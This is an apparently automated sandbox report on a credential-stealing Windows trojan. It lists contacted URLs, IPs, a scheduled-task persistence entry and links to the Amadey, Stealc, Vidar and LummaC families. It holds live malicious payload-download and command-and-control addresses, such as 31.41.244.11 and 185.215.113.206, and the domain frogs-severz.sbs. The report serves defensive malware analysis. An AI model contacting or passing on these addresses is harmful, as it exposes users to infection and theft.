https://frogs-severz.sbs//	eDPQZkT.exe, 0000001E.00000002.2753465819.0000000000D02000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.google.com/	manifest.json0.9.dr	false		high
https://frogs-severz.sbs/0	eDPQZkT.exe, 0000001E.00000002.2753465819.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
http://31.41.244.11/files/1724962075/eDPQZkT.exeA)	skotes.exe, 0000001D.00000002.2750756648.0000000000741000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
http://31.41.244.11/files/random.exe5062384760ac02b4ded8abeee1fb9a28c01515e801b41b110350bcecd522b999	skotes.exe, 0000001D.00000002.2750756648.000000000070A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.messenger.com	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
https://www.deezer.com/	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
https://web.telegram.org/	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://31.41.244.11/files/random.exe)C:	skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe09009001	skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	IJEHIDHDAKJDHJKEBFIEHCAAEH.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.9.dr	false		high
https://vibe.naver.com/today	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
http://31.41.244.11/files/random.exe5e801b41b110350bcecd522b9999a5536e6#E	skotes.exe, 0000001D.00000002.2750756648.000000000070A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1779754768.000000002361C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1690636690.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747325482.0000000005548000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747087536.000000000554B000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747178565.0000000005548000.00000004.00000800.00020000.00000000.sdmp, BGDHDAFI.0.dr, Web Data.9.dr, HJJJDAEG.0.dr	false		high
https://assets.msn.com	6a854b32-01e2-4583-8db8-2999f2ad48ba.tmp.10.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000002.2034114204.0000000023672000.00000004.00000020.00020000.00000000.sdmp, KJKJKFCBKKJDGDHIDBGI.0.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1690636690.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747325482.0000000005548000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747087536.000000000554B000.00000004.00000800.00020000.00000000.sdmp, eDPQZkT.exe, 0000001E.00000003.2747178565.0000000005548000.00000004.00000800.00020000.00000000.sdmp, HJJJDAEG.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IJEHIDHDAKJDHJKEBFIEHCAAEH.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_476.5.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		high
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
http://crl.micro	eDPQZkT.exe, 0000001E.00000002.2753465819.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
https://chromewebstore.google.com/	manifest.json.9.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.2034114204.0000000023672000.00000004.00000020.00020000.00000000.sdmp, KJKJKFCBKKJDGDHIDBGI.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2750756648.000000000070A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json.9.dr	false		high
https://y.music.163.com/m/	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllz	file.exe, 00000000.00000002.2005702282.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/1724962075/eDPQZkT.exe%)	skotes.exe, 0000001D.00000002.2750756648.0000000000741000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://web.whatsapp.com	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.php_	file.exe, 00000000.00000002.2034114204.0000000023672000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpW	skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe50Dat	skotes.exe, 0000001D.00000002.2750756648.0000000000759000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://m.kugou.com/	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2005702282.0000000000F87000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	75a6471a-367b-41bd-bd17-1e4ccc6b0ddd.tmp.9.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.9.dr, 000003.log10.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpk	file.exe, 00000000.00000002.2034114204.0000000023672000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.209.72.33	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.201.23	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.239	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.40.82.182	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
52.123.243.184	mira-tmc.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.9.158	b-0005.b-dc-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.201.21	unknown	United States	20940	AKAMAI-ASN1EU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.173.219.111	unknown	United States	3	MIT-GATEWAYSUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.189.173.24	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.88.250	frogs-severz.sbs	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.44.201.7	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.201.5	unknown	United States	20940	AKAMAI-ASN1EU	false
104.117.182.56	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.203	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.8
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562256
Start date and time:	2024-11-25 12:07:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@74/305@24/34
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.19.238, 64.233.165.84, 199.232.214.172, 192.229.221.95, 34.104.35.123, 172.217.17.74, 172.217.17.42, 216.58.208.234, 172.217.21.42, 172.217.19.202, 142.250.181.138, 142.250.181.42, 142.250.181.74, 142.250.181.106, 172.217.19.234, 142.250.181.10, 131.253.33.203, 131.253.33.239, 13.107.22.239, 13.87.96.169, 23.32.239.18, 23.32.239.56, 2.16.158.33, 2.16.158.176, 2.16.158.32, 2.16.158.185, 2.16.158.27, 2.16.158.34, 2.16.158.187, 2.16.158.186, 2.16.158.192, 172.165.69.228, 2.16.158.82, 2.16.158.90, 2.16.158.73, 2.16.158.97, 2.16.158.91, 2.16.158.88, 2.16.158.75, 2.16.158.81, 2.16.158.83, 2.19.198.19, 2.19.198.16, 23.32.239.66, 23.32.239.34, 2.19.198.10, 2.19.198.24, 23.32.239.57, 23.32.239.24, 23.32.239.35, 104.126.37.224, 104.126.37.234, 104.126.37.240, 104.126.37.219, 104.126.37.235, 104.126.37.226, 104.126.37.233, 104.126.37.232, 104.126.37.227, 72.21.81.200, 23.32.239.73, 2.19.198.34, 2.16.158.26, 2.16.158.35, 2.16.158.50, 2.16.158.51, 2.16.158.4
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, www.gstatic.com, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, edgeassetservice.azureedge.net, clients.l.google.com, mira.config.skype.com, config.edge.skype.com.trafficmanager.net, a-0003.dc-msedge.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, a1858.dscd.akamai.net, config.edge.skype.co
Execution Graph export aborted for target DocumentsCAEHDBAAEC.exe, PID 6760 because it is empty
Execution Graph export aborted for target skotes.exe, PID 6048 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8848 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
06:08:45	API Interceptor	124x Sleep call for process: file.exe modified
06:10:01	API Interceptor	168x Sleep call for process: skotes.exe modified
06:10:16	API Interceptor	2x Sleep call for process: eDPQZkT.exe modified
12:09:07	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.63	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	P0-4856383648383364838364836483.xls	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
mira-tmc.tm-4.office.com	https://1drv.ms/o/c/1ba8fd2bd98c98a8/EmMMbLWVyqxBh9Z6zxri2ZUBVkwUpSiY2KbvhupkdaFzGA?e=F6pNlD	Get hash	malicious	Unknown	Browse	52.123.243.66
	Invoice PSI-3102.msg	Get hash	malicious	Unknown	Browse	52.123.243.182
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.123.243.180
	LInp9ekGwk.exe	Get hash	malicious	INC Ransomware	Browse	52.123.243.66
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.123.243.216
	Invoice.msg	Get hash	malicious	Unknown	Browse	52.123.243.71
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.123.243.68
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.123.243.195
	20Listen.eml	Get hash	malicious	HTMLPhisher	Browse	52.123.243.192
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	52.123.243.76
frogs-severz.sbs	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.88.250
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	file.exe	Get hash	malicious	Unknown	Browse	104.21.88.250
	Aquantia_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	arcaneloader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	lcc333.exe	Get hash	malicious	Unknown	Browse	20.2.154.66
	lcc333.exe	Get hash	malicious	Unknown	Browse	20.2.154.66
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	204.79.197.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	docx008.docx.doc	Get hash	malicious	Unknown	Browse	52.113.195.132
	docx002.docx.doc	Get hash	malicious	Unknown	Browse	52.113.195.132
	docx009.docx.doc	Get hash	malicious	Unknown	Browse	52.113.195.132
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	lcc333.exe	Get hash	malicious	Unknown	Browse	20.2.154.66
	lcc333.exe	Get hash	malicious	Unknown	Browse	20.2.154.66
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	204.79.197.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	docx008.docx.doc	Get hash	malicious	Unknown	Browse	52.113.195.132
	docx002.docx.doc	Get hash	malicious	Unknown	Browse	52.113.195.132
	docx009.docx.doc	Get hash	malicious	Unknown	Browse	52.113.195.132

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.206.229.226
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
	lw2HMxuVuf.exe	Get hash	malicious	Unknown	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.206.229.226
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 40.126.53.6 23.218.208.109
	https://protect-us.mimecast.com/s/N4SFCv2zvkHW7wOAuzlFYe	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 40.126.53.6 23.218.208.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 40.126.53.6 23.218.208.109
	http://taerendil.free.fr/Kzf20FukxrNV0r0Xw3	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 40.126.53.6 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 40.126.53.6 23.218.208.109
	https://cgpsco.rahalat.net/conta	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 40.126.53.6 23.218.208.109
	https://google.lt/amp/taerendil.online.fr/gpfv9cqYcuejGaVElbEvNcI6wCkeo	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 40.126.53.6 23.218.208.109
	https://guardiannostrils.com/xr93bi2nq?vzvlrfl=87&refer=https%3A%2F%2Fwww.capoplayer.net%2Fplay%2Fpremier2.php&kw=%5B%5D&key=2ba8e0b8ae36a3a2c24c170c7c0734cc&scrWidth=1920&scrHeight=1080&tz=0&v=24.10.2259&ship=&psid=https://www.pelotalibretv.pl&sub3=invoke_layer&res=14.31&dev=r&adb=n&adb=n	Get hash	malicious	Anonymous Proxy	Browse	4.245.163.56 13.107.246.63 40.126.53.6 23.218.208.109
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 40.126.53.6 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 40.126.53.6 23.218.208.109
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	IaslcsMo.ps1	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.88.250
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	t90RvrDNvz.exe	Get hash	malicious	Unknown	Browse	104.21.88.250
	docx008.docx.doc	Get hash	malicious	Unknown	Browse	104.21.88.250
	docx002.docx.doc	Get hash	malicious	Unknown	Browse	104.21.88.250
	docx009.docx.doc	Get hash	malicious	Unknown	Browse	104.21.88.250

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
